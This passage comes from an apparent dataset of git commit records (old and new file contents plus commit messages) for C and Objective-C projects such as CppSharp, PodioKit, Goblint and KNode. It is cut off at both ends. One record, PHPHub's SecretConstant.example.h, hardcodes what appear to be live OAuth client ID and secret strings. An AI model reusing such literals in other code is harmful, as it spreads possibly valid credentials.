Klaas Pieter Annema. All rights reserved.\n\/\/\n\n#import \n\n#import \"APIInflector.h\"\n\n@protocol APIRouter \n- (NSString *)pathForAction:(NSString *)action onResource:(Class)resource;\n@end\n\n@interface APIRouter : NSObject \n@property (nonatomic, readonly, strong) id inflector;\n\n- (id)initWithInflector:(id)inflector;\n- (NSString *)pathForAction:(NSString *)action onResource:(Class)resource;\n@end\n","subject":"Remove the inflector from the router protocol","message":"Remove the inflector from the router protocol\n","lang":"C","license":"mit","repos":"klaaspieter\/APIClient"} {"commit":"8c75289033623c366a6949adfabe4cdcf550d4ac","old_file":"tests\/Tests.h","new_file":"tests\/Tests.h","old_contents":"#pragma once\n\n#if defined(_MSC_VER)\n#define DLL_API __declspec(dllexport)\n#define STDCALL __stdcall\n#define CDECL __cdecl\n#else\n#define DLL_API __attribute__ ((visibility (\"default\")))\n#define STDCALL __attribute__((stdcall))\n#define CDECL __attribute__((cdecl))\n#endif\n\n#define CS_OUT","new_contents":"#pragma once\n\n#if defined(_MSC_VER)\n#define DLL_API __declspec(dllexport)\n\n#ifndef STDCALL\n#define STDCALL __stdcall\n#endif\n\n#ifndef CDECL\n#define CDECL __cdecl\n#endif\n#else\n#define DLL_API __attribute__ ((visibility (\"default\")))\n\n#ifndef STDCALL\n#define STDCALL __attribute__((stdcall))\n#endif\n\n#ifndef CDECL\n#define CDECL __attribute__((cdecl))\n#endif\n#endif\n\n#define CS_OUT","subject":"Check for defines before defining to get rid of some warnings.","message":"Check for defines before defining to get rid of some warnings.\n","lang":"C","license":"mit","repos":"xistoso\/CppSharp,mohtamohit\/CppSharp,zillemarco\/CppSharp,inordertotest\/CppSharp,xistoso\/CppSharp,imazen\/CppSharp,mono\/CppSharp,imazen\/CppSharp,SonyaSa\/CppSharp,Samana\/CppSharp,xistoso\/CppSharp,genuinelucifer\/CppSharp,mohtamohit\/CppSharp,mono\/CppSharp,ktopouzi\/CppSharp,inordertotest\/CppSharp,Samana\/CppSharp,imazen\/CppSharp,ktopouzi\/CppSharp,txdv\/CppSharp,mydogisbox\/CppSharp,genuinelucifer\/CppSharp,inordertotest\/CppSharp,genuinelucifer\/CppSharp,u255436\/CppSharp,ddobrev\/CppSharp,txdv\/CppSharp,SonyaSa\/CppSharp,u255436\/CppSharp,KonajuGames\/CppSharp,inordertotest\/CppSharp,nalkaro\/CppSharp,xistoso\/CppSharp,u255436\/CppSharp,imazen\/CppSharp,nalkaro\/CppSharp,u255436\/CppSharp,genuinelucifer\/CppSharp,KonajuGames\/CppSharp,nalkaro\/CppSharp,nalkaro\/CppSharp,zillemarco\/CppSharp,KonajuGames\/CppSharp,mono\/CppSharp,Samana\/CppSharp,SonyaSa\/CppSharp,zillemarco\/CppSharp,mono\/CppSharp,SonyaSa\/CppSharp,mohtamohit\/CppSharp,Samana\/CppSharp,KonajuGames\/CppSharp,ddobrev\/CppSharp,zillemarco\/CppSharp,mydogisbox\/CppSharp,mydogisbox\/CppSharp,ddobrev\/CppSharp,SonyaSa\/CppSharp,u255436\/CppSharp,mohtamohit\/CppSharp,imazen\/CppSharp,txdv\/CppSharp,ktopouzi\/CppSharp,Samana\/CppSharp,mydogisbox\/CppSharp,xistoso\/CppSharp,KonajuGames\/CppSharp,mohtamohit\/CppSharp,ddobrev\/CppSharp,zillemarco\/CppSharp,txdv\/CppSharp,mono\/CppSharp,ktopouzi\/CppSharp,genuinelucifer\/CppSharp,mydogisbox\/CppSharp,inordertotest\/CppSharp,nalkaro\/CppSharp,txdv\/CppSharp,ktopouzi\/CppSharp,mono\/CppSharp,ddobrev\/CppSharp"} {"commit":"b56546c04b262d215df290c3f9dbe900cdc910f1","old_file":"Clue\/Classes\/Protocols\/CLURecordableModule.h","new_file":"Clue\/Classes\/Protocols\/CLURecordableModule.h","old_contents":"","new_contents":"\/\/\n\/\/ CLURecordableModule.h\n\/\/ Clue\n\/\/\n\/\/ Created by Ahmed Sulaiman on 5\/18\/16.\n\/\/ Copyright © 2016 Ahmed Sulaiman. All rights reserved.\n\/\/\n\n#import \n\n@protocol CLURecordableModule \n\n@required\n- (void)startRecording;\n- (void)stopRecording;\n- (BOOL)addNewFrameWithTimestamp:(CFTimeInterval)timestamp;\n\n@end\n","subject":"Add basic interface for recordable modules","message":"Add basic interface for recordable modules\n","lang":"C","license":"mit","repos":"Geek-1001\/Clue,Geek-1001\/Clue,Geek-1001\/Clue,Geek-1001\/Clue"} {"commit":"846e6f3b71fcf9fca2df36c101e6de2d080dcb83","old_file":"PHPHub\/Constants\/SecretConstant.example.h","new_file":"PHPHub\/Constants\/SecretConstant.example.h","old_contents":"\/\/\n\/\/ SecretConstant.example.h\n\/\/ PHPHub\n\/\/\n\/\/ Created by Aufree on 9\/30\/15.\n\/\/ Copyright (c) 2015 ESTGroup. All rights reserved.\n\/\/\n\n#define Client_id @\"kHOugsx4dmcXwvVbmLkd\"\n#define Client_secret @\"PuuFCrF94MloSbSkxpwS\"\n#define UMENG_APPKEY @\"Set up UMEng App Key\"\n#define UMENG_QQ_ID @\"Set up qq id\"\n#define UMENG_QQ_APPKEY @\"Set up qq appkey\"\n#define WX_APP_ID @\"Set up weixin app id\"\n#define WX_APP_SECRET @\"Set up weixin app secret\"\n#define TRACKING_ID @\"Set up google anlytics tracking id\"","new_contents":"\/\/\n\/\/ SecretConstant.example.h\n\/\/ PHPHub\n\/\/\n\/\/ Created by Aufree on 9\/30\/15.\n\/\/ Copyright (c) 2015 ESTGroup. All rights reserved.\n\/\/\n\n#if DEBUG\n#define Client_id @\"kHOugsx4dmcXwvVbmLkd\"\n#define Client_secret @\"PuuFCrF94MloSbSkxpwS\"\n#else\n#define Client_id @\"Set up a client id for production env\"\n#define Client_secret @\"Set up a client secret for production env\"\n#endif\n\n#define UMENG_APPKEY @\"Set up UMEng App Key\"\n#define UMENG_QQ_ID @\"Set up qq id\"\n#define UMENG_QQ_APPKEY @\"Set up qq appkey\"\n#define WX_APP_ID @\"Set up weixin app id\"\n#define WX_APP_SECRET @\"Set up weixin app secret\"\n#define TRACKING_ID @\"Set up google anlytics tracking id\"","subject":"Set up a client id and a client secret for production environment","message":"Set up a client id and a client secret for production environment\n","lang":"C","license":"mit","repos":"Aufree\/phphub-ios"} {"commit":"b70923c9dc77371c24b3d2183b0573969602eca0","old_file":"Source\/Pester_Prefix.h","new_file":"Source\/Pester_Prefix.h","old_contents":"\/\/\n\/\/ Prefix header for all source files of the 'Pester' target in the 'Pester' project\n\/\/\n\n#import \"NJROperatingSystemVersion.h\"","new_contents":"\/\/\n\/\/ Prefix header for all source files of the 'Pester' target in the 'Pester' project\n\/\/\n\n#ifdef __OBJC__\n #import \n #import \"NJROperatingSystemVersion.h\"\n#endif\n","subject":"Fix Pester prefix header to import Cocoa again.","message":"Fix Pester prefix header to import Cocoa again.","lang":"C","license":"bsd-2-clause","repos":"ssp\/Pester,ssp\/Pester,ssp\/Pester,ssp\/Pester,nriley\/Pester,ssp\/Pester,nriley\/Pester"} {"commit":"37a155226210640f16018e1033d4769b2fb36909","old_file":"gitst.c","new_file":"gitst.c","old_contents":"\n#include \n#include \"lib\/proc.h\"\n\nint\nmain(int argc, char **argv)\n{\n\n char* gitbuff;\n int out = run_proc(&gitbuff, \"git\", \"branch\", \"--list\", 0);\n \/\/int out = run_proc(&gitbuff, \"ls\", \"-l\", \"-h\", 0);\n if (out != 0)\n {\n fprintf(stderr, \"Error running subprocess:%d\\n\", out);\n exit(1);\n }\n \/\/printf(\"run_proc exit code = %d\\nresponse= '''%s'''\\n\", out, gitbuff);\n\n char *br;\n\n br = gitbuff;\n putchar('(');\n\n while(*br++ != '*') {}\n \/\/ skip the '*' and the space after it\n br++;\n while(*br != '\\n')\n {\n putchar(*br++);\n }\n\n putchar(')');\n putchar('\\n');\n}\n\n","new_contents":"\n#include \n#include \n#include \"lib\/proc.h\"\n\nint\nmain(int argc, char **argv)\n{\n char* gitbuff;\n int out = run_proc(&gitbuff, \"git\", \"branch\", \"--list\", 0);\n if (out != 0)\n {\n exit(1);\n }\n\n char *token;\n char *sep=\" \\r\\n\";\n int next = 0;\n while((token = strsep(&gitbuff, sep)) != NULL)\n {\n if (token[0] == '*') {\n token = strsep(&gitbuff, sep);\n printf(\"(%s)\", token);\n break;\n }\n }\n return 0;\n}\n","subject":"Use strsep to split output","message":"Use strsep to split output\n","lang":"C","license":"bsd-3-clause","repos":"wnh\/prompt_utils"} {"commit":"0dc3d4785076cad20dfc015c32a6d656ec9b1b68","old_file":"PodioKit\/Common\/Core\/PKTHTTPClient.h","new_file":"PodioKit\/Common\/Core\/PKTHTTPClient.h","old_contents":"\/\/\n\/\/ PKTClient.h\n\/\/ PodioKit\n\/\/\n\/\/ Created by Sebastian Rehnby on 16\/01\/14.\n\/\/ Copyright (c) 2014 Citrix Systems, Inc. All rights reserved.\n\/\/\n\n#import \"PKTRequest.h\"\n#import \"PKTResponse.h\"\n#import \"PKTRequestSerializer.h\"\n#import \"PKTResponseSerializer.h\"\n\ntypedef void(^PKTRequestCompletionBlock)(PKTResponse *response, NSError *error);\n\n@interface PKTHTTPClient : NSObject\n\n@property (nonatomic, copy, readonly) NSURL *baseURL;\n@property (nonatomic, strong, readonly) PKTRequestSerializer *requestSerializer;\n@property (nonatomic, strong, readonly) PKTResponseSerializer *responseSerializer;\n\n\/**\n * Controls whether or not to pin the server public key to that of any .cer certificate included in the app bundle.\n *\/\n@property (nonatomic) BOOL useSSLPinning;\n\n- (NSURLSessionTask *)taskForRequest:(PKTRequest *)request completion:(PKTRequestCompletionBlock)completion;\n\n@end\n","new_contents":"\/\/\n\/\/ PKTClient.h\n\/\/ PodioKit\n\/\/\n\/\/ Created by Sebastian Rehnby on 16\/01\/14.\n\/\/ Copyright (c) 2014 Citrix Systems, Inc. All rights reserved.\n\/\/\n\n#import \"PKTRequest.h\"\n#import \"PKTResponse.h\"\n#import \"PKTRequestSerializer.h\"\n#import \"PKTResponseSerializer.h\"\n\ntypedef void(^PKTRequestCompletionBlock)(PKTResponse *response, NSError *error);\n\n@interface PKTHTTPClient : NSObject\n\n@property (nonatomic, copy) NSURL *baseURL;\n@property (nonatomic, strong, readonly) PKTRequestSerializer *requestSerializer;\n@property (nonatomic, strong, readonly) PKTResponseSerializer *responseSerializer;\n\n\/**\n * Controls whether or not to pin the server public key to that of any .cer certificate included in the app bundle.\n *\/\n@property (nonatomic) BOOL useSSLPinning;\n\n- (NSURLSessionTask *)taskForRequest:(PKTRequest *)request completion:(PKTRequestCompletionBlock)completion;\n\n@end\n","subject":"Add ability to set base URL","message":"Add ability to set base URL\n","lang":"C","license":"mit","repos":"podio\/podio-objc,shelsonjava\/podio-objc,shelsonjava\/podio-objc,podio\/podio-objc,shelsonjava\/podio-objc,podio\/podio-objc"} {"commit":"f4b5386b0f67a1ef693a768d2d952633e9b55d83","old_file":"src\/cc\/common\/nofilelimit.h","new_file":"src\/cc\/common\/nofilelimit.h","old_contents":"","new_contents":"\/\/---------------------------------------------------------- -*- Mode: C++ -*-\n\/\/ $Id$\n\/\/\n\/\/ Created 2012\/10\/25\n\/\/ Author: Mike Ovsiannikov\n\/\/\n\/\/ Copyright 2012 Quantcast Corp.\n\/\/\n\/\/ This file is part of Kosmos File System (KFS).\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0\n\/\/ (the \"License\"); you may not use this file except in compliance with\n\/\/ the License. You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n\/\/ implied. See the License for the specific language governing\n\/\/ permissions and limitations under the License.\n\/\/\n\/\/ \\file nofilelimit.h\n\/\/ \\brief function to set process max number of open files.\n\/\/\n\/\/----------------------------------------------------------------------------\n\n\n#ifndef KFS_NOFILELIMIT_H\n#define KFS_NOFILELIMIT_H\n\nnamespace KFS {\n\nint SetMaxNoFileLimit();\n\n}\n\n#endif \/* KFS_NOFILELIMIT_H *\/\n","subject":"Fix previous commit: by committing new include file.","message":"Fix previous commit: by committing new include file.\n","lang":"C","license":"apache-2.0","repos":"qnu\/qfs,thebigbrain\/qfs,quantcast\/qfs,quantcast\/qfs,qnu\/qfs,quantcast\/qfs,fengshao0907\/qfs,chanwit\/qfs,quantcast\/qfs,thebigbrain\/qfs,thebigbrain\/qfs,thebigbrain\/qfs,chanwit\/qfs,fengshao0907\/qfs,chanwit\/qfs,thebigbrain\/qfs,chanwit\/qfs,chanwit\/qfs,thebigbrain\/qfs,qnu\/qfs,qnu\/qfs,thebigbrain\/qfs,fengshao0907\/qfs,thebigbrain\/qfs,fengshao0907\/qfs,qnu\/qfs,chanwit\/qfs,chanwit\/qfs,fengshao0907\/qfs,chanwit\/qfs,quantcast\/qfs,qnu\/qfs,quantcast\/qfs,qnu\/qfs,quantcast\/qfs,fengshao0907\/qfs,qnu\/qfs,quantcast\/qfs,fengshao0907\/qfs,fengshao0907\/qfs"} {"commit":"5b9f10c0f8dcaef1d142f3abfd4a717c9475d085","old_file":"tests\/regression\/01-cpa\/56-def_exc-fp1.c","new_file":"tests\/regression\/01-cpa\/56-def_exc-fp1.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.sv-comp.functions\n\/\/ manually minimized from sv-benchmarks\/c\/seq-mthreaded\/pals_lcr.3.ufo.UNBOUNDED.pals.c\n\/\/ used to not reach fixpoint due to def_exc range\n_Bool __VERIFIER_nondet_bool(void) ;\n\n_Bool mode1 ;\nvoid node1(void)\n{\n if (mode1)\n mode1 = 0;\n else\n mode1 = 1;\n}\n\nint main(void)\n{\n mode1 = __VERIFIER_nondet_bool();\n while (1)\n node1();\n return 0;\n}\n","subject":"Add test for def_exc bool fixpoint error","message":"Add test for def_exc bool fixpoint error\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"} {"commit":"ac11de6c4775bb08fbdfbf35536dc39a425508f0","old_file":"iserv\/cbits\/iservmain.c","new_file":"iserv\/cbits\/iservmain.c","old_contents":"#include \"..\/rts\/PosixSource.h\"\n#include \"Rts.h\"\n\n#include \"HsFFI.h\"\n\nint main (int argc, char *argv[])\n{\n RtsConfig conf = defaultRtsConfig;\n\n \/\/ We never know what symbols GHC will look up in the future, so\n \/\/ we must retain CAFs for running interpreted code.\n conf.keep_cafs = 1;\n\n extern StgClosure ZCMain_main_closure;\n hs_main(argc, argv, &ZCMain_main_closure, conf);\n}\n","new_contents":"#include \"..\/rts\/PosixSource.h\"\n#include \"Rts.h\"\n\n#include \"HsFFI.h\"\n\nint main (int argc, char *argv[])\n{\n RtsConfig conf = defaultRtsConfig;\n\n \/\/ We never know what symbols GHC will look up in the future, so\n \/\/ we must retain CAFs for running interpreted code.\n conf.keep_cafs = 1;\n\n conf.rts_opts_enabled = RtsOptsAll;\n extern StgClosure ZCMain_main_closure;\n hs_main(argc, argv, &ZCMain_main_closure, conf);\n}\n","subject":"Allow all RTS options to iserv","message":"Allow all RTS options to iserv\n\n(cherry picked from commit db121b2ec4596b99fed9781ec2d055f29e0d5b20)\n","lang":"C","license":"bsd-3-clause","repos":"GaloisInc\/halvm-ghc,GaloisInc\/halvm-ghc,GaloisInc\/halvm-ghc,GaloisInc\/halvm-ghc,GaloisInc\/halvm-ghc,GaloisInc\/halvm-ghc,GaloisInc\/halvm-ghc"} {"commit":"08f5b1c7ec09c16d20466dd18317a6c6f3d4895b","old_file":"tests\/regression\/36-octapron\/26-combine-forget-local-lval.c","new_file":"tests\/regression\/36-octapron\/26-combine-forget-local-lval.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --sets ana.activated[+] octApron\n#include \n\nint f(int x) {\n return x + 1;\n}\n\nint main(void) {\n int y = 42;\n\n y = f(42);\n \/\/ combine should forget caller's y before unifying with y == 43 to avoid bottom\n\n assert(y);\n return 0;\n}\n","subject":"Add test for octApron combine forgetting return assign locally","message":"Add test for octApron combine forgetting return assign locally\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"} {"commit":"f6de960fb76ab36550a119b1465e8a24e59af219","old_file":"plat\/rpi3\/rpi3_stack_protector.c","new_file":"plat\/rpi3\/rpi3_stack_protector.c","old_contents":"\/*\n * Copyright (c) 2017-2018, ARM Limited and Contributors. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#include \n\n#include \n\n#include \"rpi3_private.h\"\n\n\/* Get 128 bits of entropy and fuse the values together to form the canary. *\/\n#define TRNG_NBYTES\t16U\n\nu_register_t plat_get_stack_protector_canary(void)\n{\n\tsize_t i;\n\tu_register_t buf[TRNG_NBYTES \/ sizeof(u_register_t)];\n\tu_register_t ret = 0U;\n\n\trpi3_rng_read(buf, sizeof(buf));\n\n\tfor (i = 0U; i < ARRAY_SIZE(buf); i++)\n\t\tret ^= buf[i];\n\n\treturn ret;\n}\n","new_contents":"\/*\n * Copyright (c) 2017-2019, ARM Limited and Contributors. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#include \n\n#include \n#include \n\n#include \"rpi3_private.h\"\n\n\/* Get 128 bits of entropy and fuse the values together to form the canary. *\/\n#define TRNG_NBYTES\t16U\n\nu_register_t plat_get_stack_protector_canary(void)\n{\n\tsize_t i;\n\tu_register_t buf[TRNG_NBYTES \/ sizeof(u_register_t)];\n\tu_register_t ret = 0U;\n\n\trpi3_rng_read(buf, sizeof(buf));\n\n\tfor (i = 0U; i < ARRAY_SIZE(buf); i++)\n\t\tret ^= buf[i];\n\n\treturn ret;\n}\n","subject":"Fix compilation error when stack protector is enabled","message":"rpi3: Fix compilation error when stack protector is enabled\n\nInclude necessary header file to use ARRAY_SIZE() macro\n\nChange-Id: I5b7caccd02c14c598b7944cf4f347606c1e7a8e7\nSigned-off-by: Madhukar Pappireddy \n","lang":"C","license":"bsd-3-clause","repos":"achingupta\/arm-trusted-firmware,achingupta\/arm-trusted-firmware"} {"commit":"6dab1e9536c81bb9848c806faf4d0eb80cc48ca4","old_file":"src\/file-events\/headers\/jni_support.h","new_file":"src\/file-events\/headers\/jni_support.h","old_contents":"#pragma once\n\n#include \n\n\/**\n * Support for using JNI in a multi-threaded environment.\n *\/\nclass JniSupport {\npublic:\n JniSupport(JavaVM* jvm);\n JniSupport(JNIEnv* env);\n\nprotected:\n jclass findClass(const char* className);\n JNIEnv* getThreadEnv();\n\nprotected:\n JavaVM* jvm;\n};\n\n\/**\n * Attach a native thread to JNI.\n *\/\nclass JniThreadAttacher : public JniSupport {\npublic:\n JniThreadAttacher(JavaVM* jvm, const char* name, bool daemon);\n ~JniThreadAttacher();\n};\n","new_contents":"#pragma once\n\n#include \n#include \n\n\/**\n * Support for using JNI in a multi-threaded environment.\n *\/\nclass JniSupport {\npublic:\n JniSupport(JavaVM* jvm);\n JniSupport(JNIEnv* env);\n\nprotected:\n jclass findClass(const char* className);\n JNIEnv* getThreadEnv();\n\nprotected:\n JavaVM* jvm;\n};\n\n\/**\n * Attach a native thread to JNI.\n *\/\nclass JniThreadAttacher : public JniSupport {\npublic:\n JniThreadAttacher(JavaVM* jvm, const char* name, bool daemon);\n ~JniThreadAttacher();\n};\n","subject":"Add include necessary on Linux","message":"Add include necessary on Linux\n","lang":"C","license":"apache-2.0","repos":"adammurdoch\/native-platform,adammurdoch\/native-platform,adammurdoch\/native-platform,adammurdoch\/native-platform"} {"commit":"cc74b1067d791ce7f765eba8b67e2d1000c2cfcb","old_file":"src\/condor_c++_util\/directory.h","new_file":"src\/condor_c++_util\/directory.h","old_contents":"#ifndef DIRECTORY_H\n#define DIRECTORY_H\n\n#if defined (ULTRIX42) || defined(ULTRIX43)\t\/* _POSIX_SOURCE should have taken care of this, *\/\n#define __POSIX\t\t\t\/* but for some reason the ULTRIX version of dirent.h *\/\n#endif\t\t\t\t\t\/* is not POSIX conforming without it... *\/\n#include \n\n\nclass Directory\n{\npublic:\n\tDirectory( const char *name );\n\t~Directory();\n\tvoid Rewind();\n\tchar *Next();\nprivate:\n\tDIR *dirp;\n};\n\n#endif\n","new_contents":"#ifndef DIRECTORY_H\n#define DIRECTORY_H\n\n#if defined (ULTRIX42) || defined(ULTRIX43)\n\t\/* _POSIX_SOURCE should have taken care of this,\n\t\tbut for some reason the ULTRIX version of dirent.h\n\t\tis not POSIX conforming without it...\n\t*\/\n#\tdefine __POSIX\n#endif\n\n#include \n\n#if defined(SUNOS41)\n\t\/* Note that function seekdir() is not required by POSIX, but the sun\n\t implementation of rewinddir() (which is required by POSIX) is\n\t a macro utilizing seekdir(). Thus we need the prototype.\n\t*\/\n\textern \"C\" void seekdir( DIR *dirp, int loc );\n#endif\n\nclass Directory\n{\npublic:\n\tDirectory( const char *name );\n\t~Directory();\n\tvoid Rewind();\n\tchar *Next();\nprivate:\n\tDIR *dirp;\n};\n\n#endif\n","subject":"Add prototype for seekdir() for Suns.","message":"Add prototype for seekdir() for Suns.\n","lang":"C","license":"apache-2.0","repos":"htcondor\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,djw8605\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco,neurodebian\/htcondor,djw8605\/htcondor,djw8605\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor,htcondor\/htcondor,htcondor\/htcondor,djw8605\/htcondor,clalancette\/condor-dcloud,djw8605\/condor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,djw8605\/condor,djw8605\/condor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,djw8605\/htcondor,bbockelm\/condor-network-accounting,djw8605\/condor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,neurodebian\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,djw8605\/condor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco,htcondor\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,clalancette\/condor-dcloud,djw8605\/condor"} {"commit":"dc544bd4b9662bdb72af33fc1120f3c189fa0308","old_file":"cc1\/tests\/test023.c","new_file":"cc1\/tests\/test023.c","old_contents":"","new_contents":"\n\/*\nname: TEST023\ndescription: Basic test for long constants\ncomments: This test is done for z80 data types\noutput:\nF1\nG1\tF1\tmain\n{\n-\nA2\tW\ti\nA3\tZ\tu\n\tA2\t#W1\t:W\n\tA2\t#WFFFFFFFF\t:W\n\tA2\t#WFFFFFFFF\t:W\n\tA2\t#WFFFFFFFF\t:W\n\tA2\t#WFFFFFFFF\t:W\n\tA2\t#W3\t:W\n\tA2\t#W1\t:W\n\tA2\t#W0\t:W\n\tA3\t#Z1\t:Z\n\tA3\t#ZFFFFFFFF\t:Z\n\tA3\t#ZFFFFFFFF\t:Z\n\tA3\t#ZFFFFFFFF\t:Z\n\tA3\t#ZFFFFFFFF\t:Z\n\tA3\t#Z3\t:Z\n\tA3\t#Z1\t:Z\n\tA3\t#Z0\t:Z\n\ty\t#I0\n}\n*\/\n\nint\nmain(void)\n{\n\tlong i;\n\tunsigned long u;\n\n\ti = 1;\n\ti = -1;\n\ti = -1l;\n\ti = -1u;\n\ti = -1ll;\n\ti = (1ll << 32) - 1 & 3;\n\ti = (long) ((1ll << 32) - 1) < 0;\n\ti = -1u < 0;\n\n\tu = 1;\n\tu = -1;\n\tu = -1l;\n\tu = -1u;\n\tu = -1ll;\n\tu = (1ll << 32) - 1 & 3;\n\tu = (long) ((1ll << 32) - 1) < 0;\n\tu = -1u < 0;\n\treturn 0;\n}\n","subject":"Add basic test for long constants","message":"Add basic test for long constants\n","lang":"C","license":"mit","repos":"8l\/scc,k0gaMSX\/kcc,8l\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,k0gaMSX\/scc,k0gaMSX\/scc,8l\/scc"} {"commit":"caceb4cf2704b445379874a36f0274ee54c141eb","old_file":"src\/libreset\/util\/macros.h","new_file":"src\/libreset\/util\/macros.h","old_contents":"#ifndef __MACROS_H__\n#define __MACROS_H__\n\n\/**\n * @file macros.h\n *\n * This file contains simple helper macros\n *\/\n\n\/**\n * @addtogroup internal_util_helper_macros \"(internal) helper macros\"\n *\n * This group contains helper macros for internal use only.\n *\n * @{\n *\/\n\n\/**\n * Computes the maximum value of the two passed values\n *\n * @note Provides compile-time type checking by using temp variables before\n * doing the comparison.\n *\n * @note Opens own scope, so the temp variables do not show up outside of the\n * macro.\n *\/\n#define MAX(x,y) \\\n ((__typeof__(x)) x > (__typeof__(x)) y ? \\\n (__typeof__(x)) x : (__typeof__(x)) y)\n\n\/**\n * Computes the minimum value of the two passed values\n *\n * @note Provides compile-time type checking by using temp variables before\n * doing the comparison.\n *\n * @note Opens own scope, so the temp variables do not show up outside of the\n * macro.\n *\/\n#define MIN(x,y) \\\n ({ __typeof__ (x) _x = (x); \\\n __typeof__ (y) _y = (y); \\\n _x < _y ? _x : _y; })\n\n\/** @} *\/\n\n#endif \/\/__MACROS_H__\n","new_contents":"#ifndef __MACROS_H__\n#define __MACROS_H__\n\n\/**\n * @file macros.h\n *\n * This file contains simple helper macros\n *\/\n\n\/**\n * @addtogroup internal_util_helper_macros \"(internal) helper macros\"\n *\n * This group contains helper macros for internal use only.\n *\n * @{\n *\/\n\n\/**\n * Computes the maximum value of the two passed values\n *\n * @note Provides compile-time type checking by using temp variables before\n * doing the comparison.\n *\n * @note Opens own scope, so the temp variables do not show up outside of the\n * macro.\n *\/\n#define MAX(x,y) \\\n ((__typeof__(x)) x > (__typeof__(x)) y ? \\\n (__typeof__(x)) x : (__typeof__(x)) y)\n\n\/**\n * Computes the minimum value of the two passed values\n *\n * @note Provides compile-time type checking by using temp variables before\n * doing the comparison.\n *\n * @note Opens own scope, so the temp variables do not show up outside of the\n * macro.\n *\/\n#define MIN(x,y) \\\n ((__typeof__(x)) x > (__typeof__(x)) y ? \\\n (__typeof__(x)) y : (__typeof__(x)) x)\n\n\/** @} *\/\n\n#endif \/\/__MACROS_H__\n","subject":"Modify MIN(x,y) to not contain a scope","message":"Modify MIN(x,y) to not contain a scope\n","lang":"C","license":"lgpl-2.1","repos":"waysome\/libreset,waysome\/libreset"} {"commit":"1bebcf5659d89bc92b743ef201dbd9590744cfd3","old_file":"src\/tests\/test_hashtable.c","new_file":"src\/tests\/test_hashtable.c","old_contents":"","new_contents":"\/*\n * File: test_hashtable.c\n *\n * Testing suite for hashtables.\n *\n * Author: Jack Romo \n *\/\n\n\n#include \"..\/cnoodle.h\"\n#include \n#include \n#include \n\n\ntypedef struct {\n hashtable table;\n} hfixture;\n\n\nvoid table_setup(hfixture *hf, gconstpointer test_data) {\n hf->table = make_hashtable();\n t_entity *ent1 = make_entity(NULL, 0, 0, NULL);\n ent1->id = 0;\n hashtable_add(*(hf->table), (void *) ent1, ENTITY);\n t_entity *ent2 = make_entity(NULL, 1, 1, (void *) ent1);\n ent2->id = 1;\n hashtable_add(*(hf->table), (void *) ent2, ENTITY);\n}\n\nvoid table_teardown(hfixture *hf, gconstpointer test_data) {\n hashtable_free(hf->table);\n}\n\n\n\/\/ TODO: tests here\n\n\nint main() {\n \/\/ TODO: run tests here\n}\n\n","subject":"Add setup and teardown for hashtable tests","message":"Add setup and teardown for hashtable tests\n","lang":"C","license":"mit","repos":"jackromo\/CNoodle"} {"commit":"268fdc1e10931c3a9c0e4c8c6699139516429adc","old_file":"knode\/kngrouppropdlg.h","new_file":"knode\/kngrouppropdlg.h","old_contents":"\/*\n kngrouppropdlg.h\n\n KNode, the KDE newsreader\n Copyright (c) 1999-2001 the KNode authors.\n See file AUTHORS for details\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software Foundation,\n Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, US\n*\/\n\n#ifndef KNGROUPPROPDLG_H\n#define KNGROUPPROPDLG_H\n\n#include \n\nclass QCheckBox;\n\nclass KLineEdit;\n\nclass KNGroup;\n\nnamespace KNConfig {\nclass IdentityWidget;\n};\n\n\nclass KNGroupPropDlg : public KDialogBase {\n\n public:\n KNGroupPropDlg(KNGroup *group, QWidget *parent=0, const char *name=0);\n ~KNGroupPropDlg();\n \n bool nickHasChanged() { return n_ickChanged; }\n \n protected:\n KNGroup *g_rp;\n bool n_ickChanged;\n KNConfig::IdentityWidget* i_dWidget;\n KLineEdit *n_ick;\n QCheckBox *u_seCharset;\n QComboBox *c_harset;\n \n protected slots:\n void slotOk();\n \n};\n\n#endif\n","new_contents":"\/*\n kngrouppropdlg.h\n\n KNode, the KDE newsreader\n Copyright (c) 1999-2001 the KNode authors.\n See file AUTHORS for details\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, 